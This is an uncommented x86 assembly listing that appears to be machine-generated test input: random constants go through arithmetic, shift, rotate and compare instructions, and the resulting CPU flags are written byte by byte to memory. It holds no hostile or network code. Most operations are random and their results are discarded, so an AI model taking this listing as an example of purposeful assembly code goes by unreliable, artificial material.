mov ecx, 0xb333a01e
add edx, ecx
lahf
xchg ah, al
stosb byte es:[edi], al
mov edx, 0x19d9b07c
mov ecx, 0xc20f4f9
sar edx, cl
mov ecx, 0x2b116ef6
dec ecx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x5e7ceba3
rol eax, 1
mov ebx, 0xb70f278f
mov ecx, 0xa46ec10c
ror ebx, cl
mov edx, 0xd34697f0
rol edx, 1
mov edx, 0x51e28a1
mov ecx, 0x35596a5f
rol edx, cl
mov edx, 0xac927407
mov ecx, 0xc21d406a
sal edx, cl
mov ecx, 0x6e23e0b9
sub ecx, 0xbf204094
mov ebx, 0x37efd9ef
inc ebx
mov edx, 0xbd011632
mov ecx, 0x22e8d5b5
rol edx, cl
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0x3b8935c7
inc edx
mov ebx, 0x93cbdadf
mov ecx, 0x4e9a1b0b
rol ebx, cl
lahf
mov byte [edi], ah
inc edi
mov eax, 0x16f283fd
rol eax, 1
mov eax, 0x42972090
dec eax
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x8080bceb
rol eax, 1
mov eax, 0x990a79da
rol eax, 1
mov eax, 0xefae0633
mov ecx, 0xf02914b7
rol eax, cl
mov eax, 0x562c018f
sal eax, 0xeb
mov eax, 0x4566e72a
mov ecx, 0xa9c1f88f
ror eax, cl
mov eax, 0x7cfa88ff
inc eax
lahf
mov byte [edi], ah
inc edi
mov eax, 0x7838b6e9
sub eax, 0x70113759
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x1650d147
aas
mov edx, 0x4c0cb9e2
inc edx
mov edx, 0x1cf8626e
rol edx, 1
lahf
xchg al, ah
stosb byte es:[edi], al
mov edx, 0xe22f237a
inc edx
mov edx, 0x724b26dd
mov ecx, 0x971aebf3
rol edx, cl
lahf
xchg ah, al
stosb byte es:[edi], al
mov eax, 0xe040a489
mov ecx, 0xdfc305f7
rol eax, cl
mov ecx, 0xa56e025f
inc ecx
mov eax, 0x668866e7
mov ecx, 0xf22b8929
ror eax, cl
lahf
xchg al, ah
stosb byte es:[edi], al
mov eax, 0xed2b1ea
aas
mov ebx, 0x76301c5a
mov ecx, 0x57733f56
rol ebx, cl
mov ecx, 0x11cbd8e0
dec ecx
mov edx, 0x8cf2b8d9
mov ecx, 0x67fd7590
rol edx, cl
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0x1f16b9f4
mov ecx, 0x1c315d37
rol edx, cl
mov ecx, 0x2f33c46a
dec ecx
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0xd7fa289c
mov ecx, 0x5a257c45
rol edx, cl
mov ecx, 0x8e028822
mov ebx, 0x4313d587
add ecx, ebx
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0xd14c5df
cmp edx, 0xd9bd676c
mov edx, 0x236cc8fd
add edx, 0x2d35861b
lahf
mov byte [edi], ah
inc edi
mov ecx, 0x94b85c9e
mov eax, 0x92917f25
cmp ecx, eax
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x210b1e27
mov ecx, 0xc8dae82f
sar eax, cl
mov ecx, 0x167e23e9
inc ecx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ebx, 0xcf1814c2
dec ebx
mov eax, 0xc4c406a1
mov ecx, 0x33d7838e
ror eax, cl
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ecx, 0xd4e116e1
cmp ecx, 0x6206540a
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0xf5242646
shl ebx, 1
mov ecx, 0xaefdb3f0
dec ecx
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0xc5f0d8b2
mov edx, 0x9769c40d
sub ecx, edx
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0x1014e443
add ecx, 0x20bd22ec
lahf
mov byte [edi], ah
inc edi
mov ecx, 0xae4fdb50
mov ebx, 0x79dcd690
add ecx, ebx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ebx, 0xe407d0b8
mov ecx, 0xa4659cb
rol ebx, cl
mov eax, 0x4cff46a0
inc eax
lahf
mov byte [edi], ah
inc edi
mov edx, 0x61fb4d23
shl edx, 1
mov eax, 0xb13899f6
mov ecx, 0xf99b50f1
ror eax, cl
mov eax, 0x7f8b7280
dec eax
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0xf1b2b550
mov ecx, 0x67bdf8e7
ror ebx, cl
mov ebx, 0x20e7e949
shl ebx, 1
mov eax, 0xf32dcad
inc eax
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ecx, 0x82e1675a
mov ebx, 0x7806f070
sub ecx, ebx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xeeb62b4c
mov ecx, 0x47b7b741
sub ebx, ecx
pushfd
pop eax
mov byte [edi], al
inc edi
mov ebx, 0xabc9295
mov ecx, 0x76af2bfb
ror ebx, cl
mov ebx, 0x79d86540
dec ebx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x9083632
dec edx
mov eax, 0x3c9ef5d2
rol eax, 1
lahf
mov byte [edi], ah
inc edi
mov edx, 0x377f0e1
mov ecx, 0x4176b66b
rol edx, cl
mov ebx, 0x4f9dd77e
mov ecx, 0x2e7472d7
rol ebx, cl
mov ecx, 0x7dc2fc8f
inc ecx
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0xbdc5326a
rol ebx, 1
mov edx, 0xe07d663f
mov ecx, 0xf6d46712
ror edx, cl
mov eax, 0xc3587ed1
add eax, 0x2cb156e5
mov eax, 0x522cd29
aaa
mov ebx, 0x600fea44
inc ebx
lahf
mov byte [edi], ah
inc edi
mov edx, 0xfad24280
neg edx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x5f156ffe
mov ecx, 0x70cce948
ror edx, cl
mov ebx, 0x14e87c50
neg ebx
mov eax, 0x4fe79045
aas
mov ecx, 0x4a32127e
inc ecx
lahf
mov byte [edi], ah
inc edi
mov ecx, 0xdc4b808
sub ecx, 0xc4ad3937
mov eax, 0x789ff217
mov ecx, 0x323e085b
ror eax, cl
mov eax, 0x767c9e88
rol eax, 1
mov edx, 0x50c81e1f
inc edx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xcee3cde2
mov ecx, 0xa712f6e8
rol edx, cl
mov edx, 0xdf0ecdcd
cmp edx, 0x6d2f6d72
lahf
mov byte [edi], ah
inc edi
mov edx, 0x277d8952
rol edx, 1
mov ebx, 0x193df2ba
mov ecx, 0x9a948823
shl ebx, cl
mov eax, 0xc3994b4
inc eax
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0xa3560fe0
mov ebx, 0xefd75eed
cmp eax, ebx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov edx, 0xc36540c4
shl edx, 1
mov eax, 0x225add76
mov ecx, 0xd2054ca5
ror eax, cl
mov edx, 0xb91ae6c2
mov ecx, 0x8bc5b6ff
sal edx, cl
mov ebx, 0xf3b8bdaf
mov ecx, 0xb61b8794
rol ebx, cl
mov ebx, 0x2bc76eac
mov ecx, 0x99065763
rol ebx, cl
mov eax, 0xfd600e27
aaa
mov eax, 0x9f8ef5bf
inc eax
mov edx, 0x269af99a
mov ecx, 0x3f450902
ror edx, cl
lahf
mov byte [edi], ah
inc edi
mov eax, 0xea69d270
sal eax, 1
mov ebx, 0x2c79fef2
mov ecx, 0x45408247
sar ebx, cl
mov eax, 0xfeef9d7e
rol eax, 1
mov ebx, 0x49ea45cb
mov ecx, 0x9dd5189f
ror ebx, cl
mov edx, 0x87241e10
rol edx, 1
mov eax, 0xca8e6d0f
neg eax
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x29f289f7
mov ecx, 0xc843f030
sub ebx, ecx
mov ebx, 0xa00552ac
rol ebx, 1
mov ebx, 0x37815d5c
dec ebx
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0xabe39ef7
shl edx, 2
mov eax, 0x576aad3d
inc eax
lahf
mov byte [edi], ah
inc edi
mov eax, 0xcd41bf55
rol eax, 1
mov eax, 0xc77287b7
dec eax
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x4f734d75
mov ebx, 0xe305f1a
add edx, ebx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x89c7e7ef
mov ecx, 0xaf06f441
rol edx, cl
mov edx, 0x52ee0fc5
sal edx, 0x6f
mov ebx, 0xbef3da8a
shl ebx, 0x19
mov eax, 0xc0c5c440
dec eax
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x5d4423a
rol ebx, 1
mov eax, 0x3c1fea97
dec eax
lahf
mov byte [edi], ah
inc edi
mov edx, 0x5188ad68
sal edx, 1
mov eax, 0x6718bfe7
aas
mov eax, 0x2e73e497
mov ecx, 0x8ae26edb
rol eax, cl
mov ebx, 0x44c0c81c
mov ecx, 0x643117b
ror ebx, cl
mov edx, 0x1636b705
mov eax, 0x19375db3
add edx, eax
mov edx, 0x5cd2134b
mov ecx, 0xb5d172a
rol edx, cl
mov edx, 0x49156bb8
rol edx, 1
mov edx, 0x4dd00f3b
rol edx, 1
mov ebx, 0x580bd120
dec ebx
lahf
mov byte [edi], ah
inc edi
mov edx, 0xac32b421
mov ecx, 0x7c3de2f4
rol edx, cl
mov eax, 0x2b92e193
inc eax
mov eax, 0x92d5c8e7
mov ecx, 0x1b8cf58b
ror eax, cl
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x50249ce7
mov ecx, 0x50b79c4f
rol eax, cl
mov ebx, 0x4fecf493
shl ebx, 1
mov ebx, 0xd16e861
inc ebx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x50f024df
aas
mov eax, 0xc7ab6ff7
dec eax
mov eax, 0x3387d9e9
mov ecx, 0xe7c6c654
ror eax, cl
lahf
mov byte [edi], ah
inc edi
mov edx, 0xc7fac9b
shl edx, 1
mov ebx, 0xc7797a0
dec ebx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x42c845cf
sal eax, 1
mov ecx, 0x3f47d341
dec ecx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0xc9994f1a
aaa
mov edx, 0x8410d85b
mov eax, 0x4b093594
sub edx, eax
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xed27dcbf
mov eax, 0xbd4cb24
sub ebx, eax
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0xb33515e8
mov ecx, 0x16c0515
ror eax, cl
mov ebx, 0x13ede3f9
rol ebx, 1
mov ebx, 0x1e95860
dec ebx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x3759eb00
shl edx, 1
mov ebx, 0xa5cc7d45
dec ebx
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0xc0d0dabb
mov eax, 0xa8c94790
cmp ebx, eax
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x98e7a83a
mov ecx, 0x6a666e1
ror ebx, cl
mov eax, 0x56391898
mov ecx, 0xfe00d4e8
rol eax, cl
mov eax, 0x58fb8794
mov ecx, 0x2a8a4f10
ror eax, cl
mov edx, 0x3ae1c69d
cmp edx, 0xd00623e8
mov eax, 0xe6922c31
aaa
mov ebx, 0x651920e9
inc ebx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ebx, 0xbdc1816d
mov eax, 0xc9664fd0
sub ebx, eax
mov ecx, 0x504d1936
inc ecx
mov edx, 0x626f3669
mov ecx, 0x614e859e
ror edx, cl
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x4c260fa1
mov ecx, 0x93819377
rol ebx, cl
mov ebx, 0xc55f851d
cmp ebx, 0x2bac864a
mov eax, 0x56987b04
aaa
mov ecx, 0xad6e0eb
inc ecx
pushfd
pop eax
mov byte [edi], al
inc edi
mov ebx, 0x3d708531
shl ebx, 1
mov eax, 0x57fbc689
mov ebx, 0x2018286b
add eax, ebx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x14656fe1
rol edx, 1
mov eax, 0x6b1d9016
dec eax
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x30311892
mov ecx, 0xa4d841ca
sar ebx, cl
mov edx, 0x3f8ff924
inc edx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xfdc69a98
dec edx
mov eax, 0x30520717
mov ecx, 0xfcdd393a
rol eax, cl
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x57755900
shl edx, 1
mov edx, 0xa1f712e7
mov eax, 0x68649c03
add edx, eax
mov edx, 0xe26017a0
mov ecx, 0x1663d61f
ror edx, cl
mov eax, 0xeedbdc16
mov ecx, 0xebea1509
ror eax, cl
mov ebx, 0x4087e11d
mov ecx, 0x8c6cacd
ror ebx, cl
mov eax, 0x57d199cb
sub eax, 0x42366cfc
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xe44b939c
shl edx, 1
mov ecx, 0xa67da8c2
dec ecx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xae1b6d90
neg eax
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x27ef4a64
mov ecx, 0x2fcc2aa
add eax, ecx
mov eax, 0x2d017580
aas
mov edx, 0x7b3942b4
inc edx
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0xca2ea4f0
neg eax
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x95609c3d
sal eax, 0x42
mov ebx, 0x6ea2649
inc ebx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x83cbe323
mov eax, 0x27a80249
cmp ebx, eax
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x43c0e61f
aas
mov eax, 0xdbecb794
aas
mov eax, 0xbc84d19c
mov ebx, 0xac6d5344
sub eax, ebx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x188164c2
mov ecx, 0xbc688cc2
shl ebx, cl
mov eax, 0x7afea99f
dec eax
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xdc9d93a0
dec ebx
mov ebx, 0x2d5be71e
mov ecx, 0x146a3fc5
ror ebx, cl
pushfd
pop eax
mov byte [edi], al
inc edi
mov ecx, 0x2ac55f57
add ecx, 0x6c1a4083
mov eax, 0x2fe6065c
aas
mov ebx, 0x84c91ad4
rol ebx, 1
mov ecx, 0xde4520c7
cmp ecx, 0xd99a4930
mov eax, 0xc0a7735b
aaa
mov ecx, 0x90fdce10
dec ecx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xdd4a88c2
mov ecx, 0xf4bb8ba0
cmp ebx, ecx
mov eax, 0xb36db68c
aas
mov ebx, 0xd22f00ff
rol ebx, 1
mov eax, 0x36ed8d3f
inc eax
lahf
mov byte [edi], ah
inc edi
mov eax, 0x5a7a163a
sub eax, 0xe22b32c5
mov ebx, 0x86718cd6
mov ecx, 0x6c18b02d
rol ebx, cl
mov edx, 0x92a9426e
rol edx, 1
mov eax, 0xb481460
inc eax
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ebx, 0x6d8cd184
mov ecx, 0x62bf8872
ror ebx, cl
mov eax, 0x6bdb8774
inc eax
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0xcda84862
shl edx, 1
mov ebx, 0xefa7ceee
inc ebx
pushfd
pop eax
mov byte [edi], al
inc edi
mov ebx, 0x29c6b3b1
mov edx, 0x4d87124d
add ebx, edx
lahf
xchg ah, al
stosb byte es:[edi], al
mov edx, 0xf34d18ff
inc edx
mov eax, 0x384eb182
mov ecx, 0x7749c2e5
rol eax, cl
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x7f0a53cf
mov edx, 0x537bb3ca
sub ebx, edx
mov eax, 0x134435b6
aas
mov ebx, 0xc86bb09
inc ebx
lahf
xchg ah, al
stosb byte es:[edi], al
mov eax, 0x265ef4df
mov ecx, 0x13998ea8
rol eax, cl
mov eax, 0x6f907627
mov ecx, 0xda534c7f
rol eax, cl
mov eax, 0x40cb9f6e
mov ecx, 0x8f9aa524
ror eax, cl
mov ebx, 0x92131841
mov ecx, 0xb902f928
ror ebx, cl
mov ecx, 0x178623f0
dec ecx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x76404719
sal ebx, 1
mov ebx, 0x723b1ec3
dec ebx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ecx, 0x24a52b69
dec ecx
mov ebx, 0x6621236c
mov ecx, 0x3c88f3d5
rol ebx, cl
lahf
xchg al, ah
stosb byte es:[edi], al
mov edx, 0xbdcd2c85
mov ecx, 0x76828e54
add edx, ecx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x53da2576
inc edx
mov ebx, 0xd3a6a9f5
mov ecx, 0x8901fab3
rol ebx, cl
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x26df2259
mov ecx, 0xb17ec979
sar ebx, cl
mov ebx, 0x7256e330
inc ebx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x80a9217f
rol ebx, 1
mov edx, 0x75423825
sal edx, 1
mov ebx, 0xd8e4adf5
cmp ebx, 0x14d9e1b
lahf
mov byte [edi], ah
inc edi
mov eax, 0x415a13ff
dec eax
mov eax, 0xb50a1ada
mov ecx, 0x4175792b
rol eax, cl
lahf
mov byte [edi], ah
inc edi
mov ecx, 0xdb6226a4
inc ecx
mov eax, 0x4bae7079
mov ecx, 0x3c292989
ror eax, cl
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ebx, 0x4761c99b
rol ebx, 1
mov ebx, 0x85f84b9d
mov ecx, 0x295bcbd0
sal ebx, cl
mov eax, 0xb2c25ffd
dec eax
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ecx, 0xeb353e39
sub ecx, 0x7bca8451
lahf
mov byte [edi], ah
inc edi
mov edx, 0xbf326960
mov ecx, 0xfb3d0647
ror edx, cl
mov ecx, 0xe473a82d
mov eax, 0x7f307b17
sub ecx, eax
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xdc1d7207
sar ebx, 0x95
mov ebx, 0xfbf677e
inc ebx
lahf
xchg ah, al
stosb byte es:[edi], al
mov eax, 0x55902b92
mov ecx, 0x985336ce
rol eax, cl
mov ebx, 0x66afb3a0
inc ebx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x7eb5d8f6
sal eax, 1
mov ebx, 0xae8b708d
mov ecx, 0x1c5ad00a
rol ebx, cl
mov ebx, 0xe9b93ef7
sar ebx, 0x84
mov edx, 0x3c4fb10f
inc edx
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x6647d6d0
mov ecx, 0x2d86f5e2
ror ebx, cl
mov ecx, 0x1fe3e4a3
dec ecx
pushfd
pop eax
mov byte [edi], al
inc edi
mov ecx, 0x4360957
inc ecx
mov ebx, 0x8f108a98
mov ecx, 0xc7d3f88b
rol ebx, cl
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ebx, 0x30280037
mov ecx, 0x5e4bb85a
rol ebx, cl
mov eax, 0x16ec251
sal eax, 1
mov eax, 0x6ea91580
mov ecx, 0x723073d9
ror eax, cl
mov eax, 0xe23e1389
rol eax, 1
mov edx, 0x3cd82667
mov ecx, 0xefbbb024
rol edx, cl
mov eax, 0x65bd7566
aaa
mov ebx, 0xfcfe4e8a
mov ecx, 0xa0b98718
rol ebx, cl
mov eax, 0x81982791
mov ecx, 0x4f7b21ae
rol eax, cl
mov eax, 0xf109c7af
inc eax
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ebx, 0x71e60c33
rol ebx, 1
mov edx, 0xf408f86
inc edx
mov edx, 0xdf6cbb5c
rol edx, 1
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ebx, 0xfb9c720c
mov eax, 0xd9a5bad8
sub ebx, eax
mov eax, 0xdb46e851
aas
mov edx, 0x86a397dd
inc edx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xe01e350
dec eax
mov ebx, 0x893de7ae
rol ebx, 1
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov edx, 0xd82cb435
mov ecx, 0x53dfa2f2
ror edx, cl
mov ebx, 0xa0e13fc8
mov ecx, 0x3e06d877
add ebx, ecx
mov ebx, 0xdd6d7d68
mov ecx, 0x118413df
rol ebx, cl
mov ebx, 0x317f8ae0
dec ebx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x57b96575
mov edx, 0xe7fec5c6
sub eax, edx
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x5757d218
mov ecx, 0xf8d6381d
rol ebx, cl
mov eax, 0xf53f2262
mov ebx, 0xce0c7895
cmp eax, ebx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xd80d81c0
rol edx, 1
mov edx, 0xac2fe249
mov ecx, 0xba0e048e
ror edx, cl
mov ebx, 0x2cd46515
mov edx, 0xde7dfda4
add ebx, edx
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x4ccad2d5
mov ecx, 0x60354216
rol ebx, cl
mov edx, 0x60edb88f
mov ecx, 0x7304cc47
ror edx, cl
mov ebx, 0xad63cb4f
inc ebx
mov ebx, 0x66d5309f
mov ecx, 0xbf8cd4ad
rol ebx, cl
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ecx, 0x7bcbe9c5
mov edx, 0xbfa8fecf
cmp ecx, edx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ebx, 0x4526e19e
sar ebx, 0xd8
mov ebx, 0x6cac0619
inc ebx
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0xa56cd4e1
mov ecx, 0xe1f0f64
sal edx, cl
mov ebx, 0x49ad39cf
sal ebx, 1
mov ebx, 0xb19a381f
inc ebx
lahf
xchg ah, al
stosb byte es:[edi], al
mov edx, 0xc8fda0c2
mov ecx, 0x3154aca6
rol edx, cl
mov ebx, 0xa3a2caf9
cmp ebx, 0x38332d72
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x7aabe8d2
mov ecx, 0x4faadb0
rol eax, cl
mov ebx, 0x4f7f7907
rol ebx, 1
mov eax, 0xaf7716f1
dec eax
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x166ffcd9
rol edx, 1
mov edx, 0x885a4d2d
inc edx
lahf
xchg al, ah
stosb byte es:[edi], al
mov eax, 0x3abd3c68
mov ecx, 0x5214a817
ror eax, cl
mov ebx, 0x4c7b99df
mov ecx, 0xbc0a4ba8
rol ebx, cl
mov ebx, 0x784f1042
dec ebx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xfa61aa8c
aas
mov eax, 0x135ecce9
rol eax, 1
mov ebx, 0x3036f92e
inc ebx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x4a2f4a42
mov ecx, 0x100e70af
ror edx, cl
mov ecx, 0x3d410133
dec ecx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x69bca651
mov ecx, 0xf1af8781
shl ebx, cl
mov ebx, 0x67a79b78
inc ebx
lahf
xchg ah, al
stosb byte es:[edi], al
mov eax, 0x8e3ee435
mov ecx, 0xaef99df9
rol eax, cl
mov eax, 0x656f96d8
mov ecx, 0x904ea42b
rol eax, cl
mov eax, 0xa8fe88c2
mov edx, 0x885fbcd3
sub eax, edx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x83be8d48
sar eax, 0x51
mov ecx, 0x1dcaec05
dec ecx
pushfd
pop eax
mov byte [edi], al
inc edi
mov ebx, 0x75edfc41
mov ecx, 0xbc0427d0
rol ebx, cl
mov eax, 0x2e342e5d
inc eax
mov edx, 0xb91e1624
mov ecx, 0x39591991
ror edx, cl
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0xad0d04e
rol edx, 1
mov ecx, 0x3fc03d1
inc ecx
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0x9bd7620c
cmp ecx, 0xcc4b624
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ebx, 0xc8bd002a
sal ebx, 1
mov eax, 0xb86297f0
dec eax
lahf
xchg ah, al
stosb byte es:[edi], al
mov ebx, 0x699d825f
inc ebx
mov ebx, 0x29943ce
rol ebx, 1
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0xf5cdee61
mov ecx, 0xcf642ce5
sal eax, cl
mov eax, 0x21c99ca5
dec eax
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ecx, 0x2ba61602
dec ecx
mov edx, 0xfb003bb8
mov ecx, 0xad83bddb
rol edx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x296387f6
sal edx, 1
mov edx, 0x2d5d2b2
inc edx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x497b094c
rol eax, 1
mov edx, 0xf5285530
mov ecx, 0x174be3bc
rol edx, cl
mov edx, 0x425d8a50
neg edx
mov eax, 0x30e20163
mov ecx, 0x65ad05cb
rol eax, cl
mov ecx, 0xaae11222
sub ecx, 0x800693d9
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0x2e8cb7ea
dec eax
mov ebx, 0xf6b69f07
mov ecx, 0xe51879b
rol ebx, cl
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov edx, 0x268e622b
inc edx
mov eax, 0x1d9aaeb7
rol eax, 1
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ebx, 0xe4fd65bb
mov ecx, 0x3d544ba2
rol ebx, cl
mov ecx, 0x8fa2f5a5
dec ecx
mov eax, 0xdf1ce92f
mov ecx, 0x608f3165
ror eax, cl
lahf
mov byte [edi], ah
inc edi
mov eax, 0x25520a75
mov ecx, 0xa5ddda33
rol eax, cl
mov eax, 0xc2d94c49
inc eax
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0xf45adf10
neg ebx
mov eax, 0x5e14a7ff
aas
mov ebx, 0x280ac33f
inc ebx
lahf
mov byte [edi], ah
inc edi
mov eax, 0xae62a2c4
mov ecx, 0x692de0f6
ror eax, cl
mov ebx, 0xa7bae4f9
mov ecx, 0x90e5a158
sal ebx, cl
mov eax, 0x7674c2cb
dec eax
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x30f811f0
shl eax, 1
mov ebx, 0xbc0ecf7f
inc ebx
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0x3ed4b6cb
inc edx
mov eax, 0x74405f07
rol eax, 1
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x54b1390b
shl ebx, 1
mov edx, 0x2aa59bfc
dec edx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xb734c796
rol edx, 1
mov ebx, 0x7159b86
dec ebx
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x22f7f8f0
inc eax
mov ebx, 0xf793f379
mov ecx, 0x44829515
rol ebx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xc60b0566
mov ecx, 0xe1dacdc2
ror ebx, cl
mov ebx, 0xd232552b
mov ecx, 0x7a3d32d7
rol ebx, cl
mov edx, 0x6056de6f
inc edx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x242e32a2
mov ecx, 0x26a9b6e4
rol ebx, cl
mov ecx, 0x53164a28
sub ecx, 0x4497b580
lahf
mov byte [edi], ah
inc edi
mov ecx, 0x2f8f3dc1
inc ecx
mov edx, 0x6cddd157
mov ecx, 0x78b4f699
ror edx, cl
lahf
mov byte [edi], ah
inc edi
mov edx, 0xbeac2f25
mov ecx, 0xc775b832
add edx, ecx
mov edx, 0xcf7dac58
rol edx, 1
mov ebx, 0xa7408a37
dec ebx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x2321362d
sal edx, 1
mov ebx, 0xc8ef20ff
inc ebx
lahf
xchg al, ah
stosb byte es:[edi], al
mov ebx, 0xcca6204c
mov ecx, 0xc6017296
ror ebx, cl
mov edx, 0x3439a6e5
rol edx, 1
mov eax, 0xfd3084e6
mov edx, 0x9da9fa9e
sub eax, edx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0x960692af
mov ecx, 0x58e108cb
rol eax, cl
mov ebx, 0x4319bafd
mov ecx, 0x1260fa0c
sar ebx, cl
mov ecx, 0xdedbf8be
inc ecx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x7c8ed04f
cmp ebx, 0x7caf4d9f
mov eax, 0x34cbbaf1
aas
mov eax, 0x8f663d72
inc eax
lahf
mov byte [edi], ah
inc edi
mov eax, 0xfe8f63b8
mov edx, 0x251c04ee
cmp eax, edx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x33ddc4f7
aaa
mov eax, 0x1a9e0025
mov ecx, 0x30d93ab8
ror eax, cl
mov ecx, 0x100d9825
cmp ecx, 0xfbc2c9b9
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ebx, 0xd44b0d00
inc ebx
mov ebx, 0x44d4bebd
rol ebx, 1
lahf
mov byte [edi], ah
inc edi
mov eax, 0x771ff194
mov ecx, 0x1abe7ccb
ror eax, cl
mov edx, 0x8322256a
cmp edx, 0x61b3709a
mov eax, 0x369c1081
aaa
mov ecx, 0xbd34c503
inc ecx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ebx, 0xf0fff5db
mov ecx, 0xd01e1cbe
rol ebx, cl
mov edx, 0x2d91ec17
dec edx
lahf
mov byte [edi], ah
inc edi
mov eax, 0xb593f0c2
aas
mov eax, 0x17ef56d9
aaa
mov ecx, 0x691dc2c0
neg ecx
mov eax, 0xc5607968
aas
mov ecx, 0x5ddb9297
inc ecx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x39423667
rol eax, 1
mov ebx, 0xb2c17568
mov ecx, 0x57a80656
sar ebx, cl
mov eax, 0x76f21044
dec eax
lahf
xchg al, ah
stosb byte es:[edi], al
mov edx, 0xf24ae677
mov eax, 0xe5bbdc20
cmp edx, eax
lahf
mov al, ah
stosb byte es:[edi], al
